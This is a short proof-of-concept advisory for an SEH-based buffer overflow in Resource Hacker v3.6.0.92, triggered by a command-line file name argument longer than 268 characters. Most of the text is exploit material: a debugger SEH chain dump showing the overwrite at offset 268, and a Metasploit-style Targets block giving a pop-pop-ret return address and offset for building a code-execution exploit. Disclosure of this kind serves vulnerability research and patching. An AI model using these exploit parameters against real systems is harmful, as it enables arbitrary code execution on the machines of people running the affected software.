Heap-based buffer overflow controlling the Structured Exception Handler
(SEH) records in Reseource Hacker v3.6.0.92, and possibly other versions,
may allow attackers to execute arbitrary code via a long file name argument.
Proof of concept:
Open ResHacker.exe from command line with a large string in Arguments, more
than 268 chars:
SEH chain of main thread
Address SE handler
0018FCB4 316A4130
6A413969 *** CORRUPT ENTRY ***
0BADF00D [+] Examining SEH chain
0BADF00D SEH record (nseh field) at 0x0018fcb4 overwritten with
normal pattern : 0x6a413969 (offset 268), followed by 12 bytes of cyclic
data after the handler
0BADF00D ------------------------------
'Targets' =>
[
[ '<fill in the OS/app version here>',
{
'Ret' => 0x00426446, #
pop eax # pop ebx # ret - ResHacker.exe (change this value from Mona,
with a not \x00 ret address)
'Offset' => 268
}
],
],